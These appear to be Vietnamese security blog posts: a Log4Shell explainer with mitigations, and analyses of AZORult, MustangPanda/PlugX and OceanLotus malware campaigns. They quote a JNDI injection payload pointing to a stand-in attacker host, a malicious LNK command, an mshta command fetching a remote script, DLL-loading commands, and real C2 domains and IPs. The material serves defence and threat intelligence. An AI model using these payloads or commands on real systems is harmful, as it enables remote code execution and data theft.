Log4j2 là một thư viện mã nguồn mở dựa trên Java và thường được tích hợp trên các máy chủ web Apache với chức năng ghi lại nhật ký. Theo các nguồn tin, nhà nghiên cứu Chen Zhaojun của Alibaba đã gửi báo cáo lỗ hổng thực thi mã từ xa Log4j2 (RCE) cho Apache vào ngày 24 tháng 11 năm 2021. Lỗ hổng nghiêm trọng này sau đó đã được gán mã định danh CVE-2021-44228, hay còn được gọi là “Log4Shell”, tác động đến tất cả các phiên bản Log4j2 từ 2.0-beta9 đến 2.14.1.

Phân tích

Lỗ hổng CVE-2021-44228 cho phép kẻ tấn công bên ngoài hệ thống, không cần xác thực, có thể khai thác bằng cách gửi yêu cầu chứa mã khai thác (payload) đến máy chủ đang chạy phiên bản Log4j tồn tại lỗi. Yêu cầu được gửi đi sử dụng JNDI thông qua nhiều dịch vụ bao gồm:

  • Lightweight Directory Access Protocol (LDAP)
  • Remote Method Invocation (RMI)
  • Domain Name System (DNS)

Lỗ hổng Log4j được kích hoạt bởi payload, phía máy chủ sẽ tạo yêu cầu trên JNDI thông qua một trong các dịch vụ do kẻ tấn công kiểm soát. Khi nhận được yêu cầu này, kẻ tấn công sẽ trả về một đường dẫn đến tệp Java class được lưu trữ từ xa, tệp này sau đó sẽ được phía máy chủ chèn vào luồng xử lý và cho phép kẻ tấn công có thể thực thi mã tuỳ ý.

Cách thức khai thác

Log4j2 đã bổ sung thêm chức năng tra cứu, bao gồm cả tra cứu JNDI, nhưng tra cứu JNDI này không bị hạn chế, dẫn đến lỗ hổng bảo mật.

Java Naming and Directory Interface (JNDI) là một Java API cho phép lưu trữ và truy cập nhiều loại dữ liệu và tài nguyên, như đối tượng, tệp, thư mục… JNDI được thiết kế để cung cấp một giao diện chung cho phép truy cập các dịch vụ hiện có như DNS, LDAP, CORBA và RMI.

Trong số đó, có một loại dữ liệu có thể được trả về URI trỏ đến một Java class, và nếu hệ thống tải về và xử lý Java class không đáng tin cậy, nó có thể gây nguy hiểm cho máy chủ nếu class này có chứa mã độc.

Ban đầu, kẻ tấn công tiến hành gửi tới máy chủ mục tiêu chuỗi string chứa payload với điều kiện payload được ghi log lại trên hệ thống (trong trường hợp này, kẻ tấn công sẽ xây dựng một JNDI và chèn vào HTTP Header):

User-Agent: ${jndi:ldap://attacker.com:port/path}

Máy chủ mục tiêu khi parse chuỗi payload trên, Log4j instance sẽ khởi tạo một yêu cầu LDAP thông qua JNDI tới URL endpoint mà kẻ tấn công kiểm soát. Máy chủ LDAP, cũng do kẻ tấn công kiểm soát, sẽ phản hồi lại thông tin dẫn tới một endpoint file Java .class từ xa do kẻ tấn công tạo ra, chứa mã thực thi:

dn:
javaClassName: <class name>
javaCodeBase: http://second-stage.attacker.com/exploit.class
objectClass: javaNamingReference
javaFactory: <file base>

Cuối cùng, quá trình phía máy chủ mục tiêu xử lý, Java class được tải vào bộ nhớ và được thực thi bởi Log4j, đồng thời thực thi mã độc được cài đặt trong Java class đó.

Nguồn: fastly.com

 

Mô phỏng cách thức tấn công được dựng tại đây: https://github.com/christophetd/log4shell-vulnerable-app

Mức độ nguy hiểm

Do tính phổ biến của thư viện Log4j2, rất nhiều hệ thống đã và đang chịu ảnh hưởng từ lỗ hổng CVE-2021-44228 Log4Shell, bao gồm cả những hệ thống, dịch vụ đám mây của Steam, Cloudflare, Twitter, Tesla… Kèm theo rất nhiều mã khai thác công khai được cập nhật trên Github. Hiện tại, lỗ hổng này đang được hacker khai thác rất tích cực.

Mã khai thác công khai CVE-2021-44228 trên Github
Khai thác CVE-2021-44228 trên Minecraft

Cách khắc phục

Thực hiện khắc phục lỗ hổng

Hiện tại đã có bản vá cho CVE-2021-44228 Log4J RCE, khuyến nghị cập nhật sớm nhất để tránh bị ảnh hưởng: Log4j’s lastest release v2.15.0.

Lỗ hổng này có thể được giảm thiểu trên các phiên bản release trước đây (>=2.10):

  • Setting “log4j2.formatMsgNoLookups” thành “true” hoặc:
  • xoá class JndiLookup khỏi classpath 

(Ví dụ: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Bên cạnh đó, sử dụng Java 8u121 chống lại lỗ hổng RCE bằng cách cấu hình “com.sun.jndi.rmi.object.trustURLCodebase” và “com.sun.jndi.cosnaming.object.trustURLCodebase” thành “false.”

Sử dụng WAF

Thiết lập giám sát sử dụng WAF để bảo vệ ứng dụng bằng cách phát hiện những request có chứa chuỗi khai thác Log4j, chuỗi khai thác này có thể được chèn vào bất kỳ vị trí nào trên một HTTP request, thực hiện chặn request đó, ngăn không cho ứng dựng xử lý chuỗi khai thác.

HTTP Request Action
Log4j Headers BLOCK
Log4j Body BLOCK
Log4j URL BLOCK

Hoặc kích hoạt WAF từ các nhà cung cấp dịch vụ đám mây như Google Cloud, Cloudflare hay Amazon AWS

Một điều cuối cùng cần lưu ý đó là phiên bản Log4J v1 đã không còn được hỗ trợ và vẫn có thể dính lỗ hổng CVE-2021-44228 Log4J RCE, vì thế hãy nâng cấp lên phiên bản Log4j’s lastest release v2.15.0 sớm nhất.


Xem thêm & quote:

Digging deeper into Log4Shell – 0Day RCE exploit found in Log4j | Fastly

Inside the log4j2 vulnerability (CVE-2021-44228) (cloudflare.com)

Actual CVE-2021-44228 payloads captured in the wild (cloudflare.com)

By DatMom

Lợi dụng tình hình dịch bệnh Covid-19 đang diễn biến phúc tạp các tin tặc đã đánh vào nhu cầu nhắm bắt thông tin của người dân trên toàn thế giới để phát tán mã độc. Kẻ tấn công lừa người dùng tải xuống và chạy một phần mềm độc hại có giao diện được tải về từ một nguồn chính thống nhưng chạy ngầm một tiến trình khác.

Mẫu mã độc lần này được định danh là AZORult, một loại malware được phát hiện từ năm 2016, có chức năng thu thập dữ liệu của web browser như cookie, lịch sử duyệt web, user id, mật khẩu và cả khóa mã hóa.

Phân tích chuyên sâu

Mẫu Corona-virus-Map.com.exe

Hash: 73da2c02c6f8bfd4662dc84820dcd983

File Type: Portable Executable 32

File Info: Microsoft Visual C++ 8, Autoit

Kẻ tấn công sẽ đánh lừa người dùng tải xuống một file có tên “Corona-virus-Map.com.exe”. File này được viết bằng Autoit nên ta có thể dễ dàng decompile và lấy được source code của mã độc.

Đoạn script cho ta thấy nó sẽ tạo một thư mực ở “%APPDATA%/Z11062600” và cài đặt 2 file là “Corona.exe”, “Corona-virus-Map.com.exe” rồi khởi chạy hai file đó.

Mẫu Corona-virus-Map.com.exe

Hash: 07b819b4d602635365e361b96749ac3e

File Type: Portable Executable 32

File Info: Microsoft Visual Studio .NET

File “Corona-virus-Map.com.exe” được thả xuống máy người dùng là một file .Net, qua bóc tách và phân tích. Chức năng chủ yếu của file này là lấy dữ liệu từ “hxxps://gisanddata[.]maps.arcgis[.]com/apps/opsdashboard/index[.]html#/bda7594740fd40299423467b48e9ecf6” để hiển thị cho người dùng giao diện bản đồ lây nhiễm Covid-19 nhằm lấy lòng tin khiến người dùng không nghi ngờ.

Mẫu Corona.exe

Hash: 1beba1640f5573cbac5552ae02c38f33

File Type: Portable Executable 32

File Info: Rar archive

File “Corona.exe” khi được khởi chạy sẽ tạo ra hai file, một là Corona.bat, hai là Corona.sfx.exe. Trong đó, file bat có nội dung như sau:

@echo off
Corona.sfx.exe -p3D2oetdNuZUqQHPJmcMDDHYoqkyNVsFk9r -dC:\Windows\System32

Tiến trình của file “Corona.exe” sẽ dùng cmd để chạy file “Corona.bat” và từ đó khởi chạy “Corona.sfx.exe”. File “Corona.sfx.exe” này sẽ tạo ra và chạy một file Corona.exe nữa có chức năng tương tự như file Corona.exe đầu tiên là tạo ra và khởi chạy hai file tiếp là bin.exe và Build.exe ở thư mục “%APPDATA%/Z58538177”. Để dễ hình dung, ta có processes graph như sau:

Mẫu bin.exe

Hash: c4852ee6589252c601bc2922a35dd7da

File Type: Portable Executable 32

File Info: Borland Delphi

Đây là file thực thi chính của mã độc. Được các nhà bảo mật định danh là AZORult, một chủng loại malware chuyên đánh cắp dữ liệu. Ngay khi vào máy nạn nhân malware sẽ lấy tất cả thông tin định danh của mấy như Guid, thông tin phiên bản, username, computername rồi tự tạo một guid riêng:

Từ guid vừa tạo, mã độc dùng để Mutex để tránh cho hai chương trình malware sẽ chạy cùng lúc.

Mã độc mã hóa lại thông tin định danh mày và cũng ngay lập tức giải mã địa chỉ C&C

Mã độc kết nối tới C&C server cùng với thông tin định danh của máy nạn nhân và server trả về một lượng lớn dữ liệu

Sau khi mã độc giải mã dữ liệu tải xuống, ta có thể thấy chúng tải một danh sách các thư viện động xuống máy nạn nhân và ghi vào thư mục “%TEMP%2fda”

Mã độc liệt kê một danh sách dài giàng giạc các đường dẫn mà từ đó ta có thể xác định được mục tiêu của mã độc nhắm vào đâu. Chúng đánh căp dữ liệu của các trình duyệt như Firefox, Chrome, Chronium, Brave, Edge, Comodo, Kometa,Cococ, Opera, 360, … các trình quán lý email như Outlook, Thunderbird,… và còn nhiều phần mềm nũa. Các thư viện được tải về dùng để cung cấp các hàm cần thiết để kẻ tấn công có thể đọc dữ liệu.

Ví dụ như malware sẽ truy vấn dữ liệu profile của Outlook trong registry

Hay đánh cắp mật khẩu truy cập vào server firezilla

 

Ngay cả tiền ảo của nạn nhân cũng bị sờ đến

Cuối cùng, malware gửi dữ liệu thu được mã hóa chúng và gửi lại cho C&C server. Malware chạy lệnh để xóa file.

C:\\Windows\\system32\\timeout.exe 3 & del \”bin.exe\

Mẫu Build.exe

Hash: F6A5E02F46D761D3890DEBD8F2084D37 File Type: Portable Executable 32 File Info: UPX v3.0, Autoit

Có rất nhiều công cụ giúp ta có thể unpack được UPX ví dụ như CFF Explorer. File này khi thực thi sẽ tự tạo bản sao vào thư mục “%APPDATA%/amd64_netfx4-system.runti..dowsruntime.ui.xaml.Globalization.Fontgroups.exe” và khởi chạy. Cũng như dropper đầu tiên của mã độc ta chỉ cần decompile file Autoit là có thể lấy được mã nguồn

Ta tiết kiệm được rất nhiều thời gian khi mẫu mã độc này không bị obfuscated quá phức tạp. Qua quá trình phân tích và tìm kiếm thông tin, Ta có thể kết luận hoạt động chủ yếu của mẫu là đánh cắp các thông tin từ cookie của trình duyệt, đánh cắp khóa mã hóa, tắt cấu hình proxy, thay đổi thuộc tính của file để ẩn danh.

IOC

Hash

  • MD5: 73da2c02c6f8bfd4662dc84820dcd983
  • MD5: 07b819b4d602635365e361b96749ac3e
  • MD5: 1beba1640f5573cbac5552ae02c38f33
  • MD5: c4852ee6589252c601bc2922a35dd7da
  • MD5: F6A5E02F46D761D3890DEBD8F2084D37
  • MD5: e9dcbecca02b600ce135f7d58b8cd830
  • MD5: 3cb9fc1ee05f49438455ba1aea3bca4e

Domain

  • coronavirusstatus[.]space

Các bước làm sạch

  • Tìm các file md5 trên tại các thư mục:
    • %APPDATA%/Z11062600
    • %APPDATA%/Z58538177
    • %APPDATA%/amd64_netfx4-system.runti..dowsruntime.ui.xaml
  • Ngắt tất cả tiến trình của các file trên (nếu có)
  • Xóa tất cả các file trên (nếu có và nếu đúng mã hash)
  • Xóa task scheduler link tới file Windows.Globalization.Fontgroups.exe > Ngoài ra có thể sử dụng phần mềm của các hãng diệt virus tin cậy để xử lý

Kết luận

Mức độ nguy hiểm của dịch Covid-19 là không cần bàn cãi. Kẻ xấu đang khai thác triệt để sự phổ biến của các thông tin liên quan đến coronavirus trên web và nhiều người có thể sẽ trở thành con mồi của các cuộc tấn công. Người dùng cần phải bình tĩnh bảo vệ bản thân trước virus sinh học và cả virus máy tính. > Để theo dõi bản đồ tình hình dịch an toàn người dùng nên truy cập theo trang web https://coronavirus.jhu.edu/map.html của trường đại học Johns Hopkins

MustangPanda – COVID 19 Malware
07 Th3

I/ Introduction

Trong thời gian gần đây do diễn biến của dịch COVID 19  khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch APT nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam.

Mới đây lợi dụng tình hình căng thẳng của dịch cúm COVID-19, mẫu mã độc giống với một số mẫu do nhóm tin tặc Panda phát triển được phát hiện đã thực hiện mạo danh văn 3 bản thông báo của chính phủ về tình hình dịch để đánh lừa người dùng. Mã độc được inject trong một file word với tiêu đề: “Chi Thi cua thu tuong nguyen xuan phuc” nhằm đánh lừa người dùng,mãu này hiện được chúng tôi thu thập được thông qua hệ thống CMC Threat Intelligence.

Thông qua hệ thống Threat Intelligence mẫu mã độc này có sự liên quan tới một số mẫu gần đây mà chúng tôi có cảnh báo.

CMC CẢNH BÁO CHIẾN DỊCH APT MỚI LỢI DỤNG UNIKEY TẤN CÔNG NGƯỜI DÙNG VIỆT NAM

CMC CYBER SECURITY PHÂN TÍCH MẪU MALWARE DẠNG LNK CỦA NHÓM APT PANDA

 

II/ Detail

FILE LNK

File mẫu là 1 file shortcut có phần mở rộng là “.lnk” được ẩn dưới dạng một file winword nhằm đánh lừa người dùng do đuôi “.lnk” sẽ được Windows ẩn đi. Tuy nhiên file winword này sử dụng một target đáng ngờ. Thông thường target của shorcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng:

%comspec% /c for %x in (%temp%=%cd%) do for /f “delims==” %i in (‘dir “%x\Chi Thi cua thu tuong nguyen xuan phuc.lnk” /s /b’) do start m%windir:~-1,1%hta.exe “%i”

Đoạn lệnh trên đã được obfuscate bằng cách sử dụng biến %comspec% để thay cho việc gọi trực tiếp chuỗi “cmd.exe” và chữ “s” trong tên file mshta.exe được lấy bằng cách cắt ký tự cuối cùng trong biến “%windir%”(thường là C:\Windows). Mshta.exe là 1 ứng dụng của microsoft phát triển nhằm tận dụng ưu điểm xây dựng nhanh ứng dụng thông qua html, css, vbscript, javascript. Sử dụngmshta và định dạng file .hta, ta có thể mở 1 trang html như 1 ứng dụng.Định dạng file hta cũng giống như file html. Bằng cách thêm thẻ tag vào trong thẻ của file html ta đã có file hta có thể được mở thông qua ứng dụng mshta.

Tuy nhiên, file hta có thể bị chèn thêm vào trước header của nó. Tận dụng điều này, kẻ tấn công đã chèn vào trước nó 1 file lnk với command mở chính nó bằng mshta.exe để thực thi file .hta nhúng kèm. Khi người dùng mở file lnk, sẽ thực thi command trong target của file lnk và thực thi file msha.exe để mở chính nó.

FILE HTA

Mặc định, mshta.exe có thể thực thi cả javascript và vbscript nhúng trong file hta nhờ sử dụng các dll liên quan. File hta nhúng kèm khi mở lên sẽ có các thuộc tính: chạy thu nhỏ(minimize), không hiện trên taskbar, không có menu và caption. Nhiệm vụ duy nhất của nó là thực thi đoạn mã vbscript độc hại.

Khi vbscipt được thực thi, script này giải mã và lưu vào thư mục %TEMP% 3 file binary ở dạng base64 và 1 file document.

File document sau đó được mở cho user.

Khi này cuộc tấn công sử dụng PLUGX RAT sẽ được thực hiện:

File 3.exe thực chất là một file sạch, tuy nhiên khi thực thi nó sẽ load lên 1 file dll độc hại

Để làm điều này, attacker chỉ cần tìm 1 dll được load bằng hàm LoadLibrary trong file 3.exe(ở trường hợp này là http_dll.dll), sau đó tạo ra 1 file dll độc hại với tên trùng với tham số của hàm LoadLibrary và để cùng thư mục với file 3.exe. Khi gọi LoadLibrary, 3.exe sẽ tìm dll trong cùng thư mục trước và load nó lên.

Khi “http_dll.dll” được load lên nó sẽ tiến hành chuyển hướng thực thi của file PE sang 1 hàm trong DLL bằng cách thay đổi thuộc tính vùng nhớ trên memory của file PE thông qua API VirtualProtect và thay thế code bằng cặp lệnh push, ret.

Tại hàm của DLL mã độc sẽ đọc file http_dll.dat trong cùng thư mục. Nội dung ở phần đầu của file dat này là 1 string có null-terminated và phần data. String này sẽ được sử dụng để là key giải mã cho phần data của file dat.

Sau đó, mã độc sẽ tạo ra 1 vùng nhớ mới để chứa phần giải mã được tiến hành bằng thuật toán xor với key là string trong file dat như trên. Mã độc tiếp tục thay đổi thuộc tính của vùng nhớ mới này bằng thuộc tính PAGE_EXECUTE_READWRITE và thực thi shellcode tại địa chỉ này.

Nội dung giải mã thu được là 1 file PE dạng RAW, tuy nhiên đã được lồng vào rất khéo 1 shellcode, bắt đầu từ offset 0. Shellcode này có nhiệm vụ như 1 loader, load file PE dạng raw này để có thể thực thi được.

Đầu tiên, shellcode tìm địa chỉ của kernel32.dll sau đó lấy địa chỉ các hàm LoadLibray, GetProcAddress, ZwFlushIntructionCache, VirtualAlloc bằng cách so sánh hash tên của các hàm được kernel32 export.

Sau đó, Loader đọc header của file PE, thực hiện map các section lên các vùng nhớ tương ứng, realloc lại một số địa chỉ và resolve lại Import Address Table của file. Sau khi hoàn tất, luồng thực thi chương trình sẽ được chuyển qua hàm DllMain của file PE này.

Final Payload

Tại đây, mã độc sẽ tiến hành lấy 1 số đường dẫn để sử dụng, sau đó giải mã 1 phần data section để sử dụng.

Kết quả giải mã là 1 số strings bao gồm tên khóa autorun, ip c&c server. Sau đó mã độc sẽ tiến hành:

  • Tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator.
  • Thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy. Đồng thời tự khởi chạy lại nếu đây là lần chạy đầu tiên của nó. Mã độc phân biệt điều này bằng cách chèn thêm 1 tham số nữa cho nó ở các lần chạy tiếp theo.
  • Tạo mutex, kết nối đến server để nhận lệnh từ server.
  • Tạo backdoor cho phép kẻ tấn công thực thi lệnh từ xa.
  • Hỗ trợ nhiều command khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, user,…

3. Kết luận

Bằng cách sử dụng nhiều kỹ thuật tấn công khác nhau và làm rối trong khi thực thi cho thấy rằng người đứng sau phát triển mã độc đã đầu tư không ít thời gian để nghiên cứu mục tiêu và phát triển phương pháp tấn công cho phù hợp. APT là một loại tấn công nguy hiểm, được đầu tư kỹ lưỡng nhằm đánh cắp các thông tin quan trọng và gây nhiều thiệt hại cho tổ chức. Để phòng ngừa các cuộc tấn công APT, luôn luôn chuẩn bị các phương án đề phòng và giám sát liên tục mới có thể đảm bảo tính an toàn cho hệ thống của người dùng cũng như cả tổ chức.

HASH

SHA256: BBBEB1A937274825B0434414FA2D9EC629BA846B1E3E33A59C613B54D375E4D2

MD5: 60C89B54029442C5E131F01FF08F84C9

SHA1: 52873A2C81B1F462CDDF3C86B2103F74EF56F91E

C:\Users\admin\AppData\Local\Temp\3.exe:

C3159D4F85CEB84C4A0F7EA9208928E729A30DDDA4FEAD7EC6257C7DD1984763

C:\Users\admin\AppData\Local\Temp\http_dll.dll:

79375C0C05243354F8BA2735BCD086DC8B53AF709D87DA02F9206685095BB035

C2

DOMAIN vietnam.zing.photos

IP 104.160.44.85

By ManhChich – UraSec Team – CMC SOC Center

Tình hình tấn công của nhóm Oceanlotus định danh xuất phát từ Việt Nam tại Trung Quốc
18 Th12

Trong nữa đầu năm 2019, theo trung tâm tình báo các mối đe dọa an ninh mạng của Tencent đã đưa ra công bố về các cuộc tấn công của nhóm OceanLotus vào Trung Quốc. Các mục tiêu tấn công của tổ chức này rất đa dạng bao gồm các cơ quan chính phủ, cơ quan hàng hải, cơ quan ngoại giao, doanh nghiệp nhà nước lớn, tổ chức nghiên cứu khoa học và một số các doanh nghiệp tư nhân lớn của Trung Quốc.

Qua theo dõi, Tencent phát hiện số lượng lớn các mục tiêu trong nước đã bị nhóm này tấn công và toàn bộ mạng nội bộ của mục tiêu đã bị chiếm đóng, có thể xác định một lượng lớn thông tin bí mật và các thông tin cấu hình máy chủ bị đánh cắp. Những kẻ tấn công có vẻ rất quan thuộc với Trung Quốc cũng như hiểu rõ các vấn đề nóng hỏi và cơ cấu chính phủ của Trung Quốc. Ví dụ, khi một cải cách thuế vừa được đưa ra, một kế hoạch cải cách thuế đã ngay lập tức được sử dụng làm chủ đề của một cuộc tấn công.

Sea Lotus (OceanLotus) hay còn được gọi là APT32, là một tổ chức tấn công mạng được nhiều tổ chức định danh là xuất phát từ Việt Nam. Kể từ khi hoạt động, nhóm đã thực hiện nhiều cuộc tấn công vào Trung Quốc, cũng như nhiều nước khác trên thế giới.

Các phương thức tấn công không có nhiều thay đổi so với lần đầu phát hiện, nhưng có một số cải tiến nhỏ bao gồm các loại attack decoys, payload, phương thức bypass các lớp bảo mật..etc Phương thức tấn công phishing bằng email vẫn được sử dụng. Sau khi có được quyền kiểm soát máy, kẻ tấn công sẽ dò quét toàn bộ hệ thống mạng. Điều này cũng cho thấy các cuộc tấn công APT sẽ không ngừng cho đến khi nó đạt được mục đích. Miễn là mục tiêu có giá trị, cuộc tấn công sẽ ngày càng mạnh mẽ hơn.

Đăc điểm của cuộc tấn công

Tấn công bằng email lừa đảo

Sea Lotus thông qua việc gửi Email giả danh về các tổ chức uy tín, người dùng dễ bị đánh lừa tự tải về các File độc hại. Trong suốt năm 2019, đã có rất nhiều email lừa đảo được gửi, chẳng hạn như email sau:

Các tài khoản được sử dụng để gửi email lừa đảo thường là hộp thư của NetEase. Các kiểu tài khoản tấn công thường như là: Sun**@126[.]com, Yang**@163[.] com, chen**@126[.] com…

Đa dạng hóa các loại mồi nhử lừa đảo
Nhóm thường sử dụng đa dạng hóa các loại mồi nhử cho cuộc tấn công và hầu như tất cả các loại mồi đã được sử dụng. Ngoài các tệp độc hại Ink, tệp doc, tệp nén của WinRAR ACE (CVE-2018-20250) được đề cập trong nhiều bản báo cáo.

Tệp độc hại dưới dạng doc:

Tệp Chm giải mã

Lỗ hổng Winrar (CVE-2018-20250)

Đa dạng cách thức tải tệp
Do sự đa dạng của các loại mồi nhử cho việc lừa đảo, cách thức tải các tệp độc hại cũng khác nhau.

 Thực thi trực tiếp

Tệp thực thi được nguy trang dưới dạng một File DOCX, có icon của microsoft word, được sử dụng để đánh lừa người dùng tải về. Sau khi người dùng có hành vi tải tệp DOC và tiến hành mở. Sau khi File mở ra, các thông tin trong file tài liệu bị xáo trộn, lôi kéo nạn nhân kích hoạt macro code trong file tài liệu để có thể xem nội dung bên trong tài liệu. Trong thực tế, sau khi macro được bật, nội dung bình thường vẫn không hiển thị

Sử dụng Rundll32 để tải dll độc hại
Sau khi thực thi các đoạn mã độc hại, nó sẽ gọi và thực thi đoạn mã độc hại thực sự {1888B763-A56C-4D4B-895C-2092993ECCBA} trong thư mục C:\User\Administrator\AppData\Local\Microsoft, sau đó sử dụng Rundll32 để thực thi dll:

“C:\Windows\system32\rundll32.exe” “C:\Users\ADMINI~1\AppData\Local\Microsoft\{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll”,Register
Macro
Sử dụng một Macro để thực thi và mã Macro bị obfuscated:

Office memory thực thi shellcode độc hại
Bằng mã Macro, giải mã trực tiếp shellcode trong Office và tạo ra một luồng để thực thi trong bộ nhớ:

Sử dụng dll
Sử dụng kỹ thuật DLL(DLL Side-Loading) để thực thi, tải các File độc hại:


 Thực thi

Đăng kí một DLL độc hại như một thành phần của hệ thống để thực thi:

Tệp lệnh nhúng
Tệp Chm sẽ thực thi, nó nhắc thực thi mã ActiveX:

Nội dung kịch bản của tệp:

Tuy nhiên, do vấn đề xử lý mã hóa, chm bị cắt bớt sau khi mở:

 

Sau khi giản nén, nội dung ban đầu như sau:

Các cuộc tấn công liên tục sử dụng scheduled tasks
Sau khi chm được thực thi, tệp bcdsrv.dll sẽ được phát hành theo %AppData%\Roaming và sau đó một tác vụ theo lịch trình có tên là WeeklyMaintenance sẽ được tạo:

Lệnh thực thi:

C:\Windows\System32\msiexec.exe -Y

C:\Users\Administrator\AppData\Roaming\bcdsrv.dll

Bcdsrv.dll là một tệp tin độc hại thực sự.

Ink gọi mstah để thực hiện

Phân tích chi tiết về kỹ thuật Ink gọi mstah

Sau khi thực hiện, lệnh được gọi:

C:\Windows\SysWOW64\mshta.exe http://api.baidu-json.com/feed/news.html

Và new.html thực sự là một tập tin Vbs là một tập tin chứa mã có thể thực thi.

Sử dụng odbcconf.exe để tải tệp
Odbcconf.exe là một tệp đi kèm với hệ thống. Tệp này có thể được sử dụng để thực thi tệp dll và vì quá trình máy chủ là tệp hệ thống, nên nó có thể thoát khỏi sự can thiệp của một số phần mềm bảo mật:

Lỗ hổng WinRAR ACE (CVE-2018-20250)
Gói nén với lỗ hổng này có thể được cấu trúc như sau: Ngoài việc giải nén các tệp bình thường sau khi giải nén, thư mục khởi động (C: \ Users \ Administrator \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Startup) phát hành tệp tự giải nén:

Tệp này là chương trình tự giải nén. Khi khởi động, nó sẽ phát hành tệp {7026ce06-ee00-4ebd-b00e-f5150d86c13e} .ocx, sau đó thực hiện lệnh:

regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx

Multi-load attack
Trong cuộc tấn công mới nhất, Sea Lotus đã sử dụng một Multi-load attack. Trong các cuộc tấn công trước đó, sau khi giải mã shellcode, RAT cuối cùng đã được thực thi trực tiếp, chẳng hạn như:

chúng tôi thấy rằng sau khi giải mã shellcode, shellcode được tải xuống và thực thi trước. Nếu quá trình tải xuống không thành công, thì RAT được cài đặt trước được tải:

Điều này làm cho các hoạt động tấn công trở nên phong phú và đa dạng hơn và cũng có thể kiểm soát được.

Cuộc lẩn tránh các phần mềm bảo mật
Sea Lotus cũng sử dụng nhiều phương pháp khác nhau để chống lại phần mềm bảo mật, chủ yếu là:

Sử dụng DLL để thực thi
Sử dụng tệp hệ thống thực thi
Có thể nhắc đến như odbcconf.exe.

Thực thi shellcode trực tiếp trong office
Thêm dữ liệu rác vào các tập tin để mở rộng kich thước.
Để ngăn chặn tập tin được thu thập bởi các nhà cung cấp bảo mật, tổ chức Sea Lotus đã cố tình thêm một lượng lớn dữ liệu rác vào tài nguyên của một số tệp nhất định để mở rộng kích thước tệp.

Nếu một tệp chứa đầy dữ liệu rác, kích thước tệp lên tới 61,4 MB (64,480,256 byte):

Tạo backdoor
Tệp backdoor được mã hóa và tùy chỉnh theo thuộc tính của máy. Do vậy, tệp băm trên mỗi máy là khác nhau và không thể thực hiện được nếu không có thông tin liên quan đến máy chứa backdoor. Ngay cả khi mã độc bị các nhà cung cấp bảo mật tìm thấy, miễn là không có dữ liệu liên quan đến máy tính chưa mã độc thì tải trọng không thể được giải mã.

Nguy trang cho kết nối CnC
Theo thông tin cấu hình, các kết nối và ngụy trang khác nhau có thể được thực hiện, và C2 được lắp ráp và phân tích. Các CnC thường có cấu trúc (xxx là cấu hình C2):

{rand} .xxx

www6.xxx

cdn.xxx api.xxx

Giả mạo các HTTP Header:

Backdoor tùy chỉnh
Một kỹ thuật ấn tượng nhất của Sea Lotus đã sử dụng vào năm 2019 ( chủ yếu là sử dụng backdoor trong giai đoạn thứ 2) . Kỹ thuật này đã được công bố gần đây với các tệp độc hại do mỗi máy victim phát hành được mã hóa bằng các thuộc tính máy có liên quan (như tên máy) của máy victim và được thực thi. Chúng ta cần một phần thông tin này, nếu không không thể giải mã nó.

Do đó, mỗi tệp độc hại được phát hành là khác nhau và ngay cả khi bị nhà cung cấp bảo mật tìm thấy, miễn là không có dữ liệu liên quan của máy victim, tải trọng thực không thể được giải mã.

Backdoor cũng được thực thi liên quan đến các file và tiến trình bao gồm: AdobeUpdate.exe + goopdate.dll, KuGouUpdate.exe + goopdate.dll, XGFileCheck.exe + goopdate.dll, SogouCloud.exe + inetmib1.dll và các kết hợp khác để thực thi.

Quá trình mã hóa là:

Qua ví dụ dưới có thể thấy, tên người dùng đã được sử dụng để mã hóa.

Tên người dùng victim là Cao **. Có thể thấy rằng Trojan được tạo ra đặc biệt để lây nhiễm vào máy tính này.

Phần mềm độc hại
Qua quá trình theo dõi, nhận thấy có Sea Lotus thường sử dụng ba loại phần mềm độc hại chính: CobaltStrike’s beacon Trojan, họ Trojan Denis và Ghost đã sửa đổi. Trong đó CobaltStrike’s beacon Trojan và họ Trojan Denis thường được phát hiện nhiều nhất, Ghost rất it khi được sử dụng.

CobaltStrike:

Denis:

Ghost được sửa đổi:

Thâm nhập mạng
Sau khi một máy chủ đã bị nhiễm mã độc thông qua tấn công Email Phishing, Sea Lotus sẽ tiếp tục các cuộc tấn công vào các máy nội bộ. Chúng tiến hành rà quét, tìm kiếm, tấn công sang các máy nội bộ bằng nhiều cách nhất có thể.

Get the hash:

Package file:

Ngoài ra cũng sẽ có các tác vụ được tạo ra theo lịch trình để tải xuống các công cụ liên tục thông qua Powershell:

Tệp độc hại được phát hiện là goopdate.dll.

Một số hoạt động khác

Trong quá trình theo dõi, một số cuộc tấn công tương tự được tìm thấy như các cuộc tấn công của Sea Lotus như:

Các mã độc cuối cùng cũng được thực thi bởi hai loại tệp:

Beacon payload được tạo bởi CobaltStrike.
Còn lại là Payload block numverse_http được sử dụng bởi metasploit.
Ngoài ra, CnC của các cuộc tấn công này thường được phát hiện ở Trung Quốc:

Mặc dù gần đây đang có những cuộc tấn công giống với các hành vi của Sea Lotus nhưng cũng có những hành vi không giống do đó chưa thể kết luận về các cuộc tấn công đó liên quan đến SeaLotus.

Tóm tắt về Sea Lotus
Sea Lotus là một trong những nhóm APT tích cực nhất trong những năm gần đây, thường xuyên tấn công vào các khu vực ở Trung Quốc và các nước trên thế giới. Nhiều công ty an ninh mạng đã liên tục đưa ra các báo cáo về các cuộc tấn công của Sea Lotus gần đây. Nhóm Sea Lotus này hiện tại vẫn chưa có dấu hiệu dừng lại, chúng liên tục cập nhật các công nghệ, kỹ thuật tấn công gây rất nhiều khó khăn cho các công tác bảo đảm ATTT. Vì vậy, người dùng cần nâng cao nhận thức bảo mật , không tự ý thực hiện các tệp đính kèm của các email không xác định và không bị đánh lừa bởi các tin nhắn lừa đảo.

Khuyến nghị an toàn

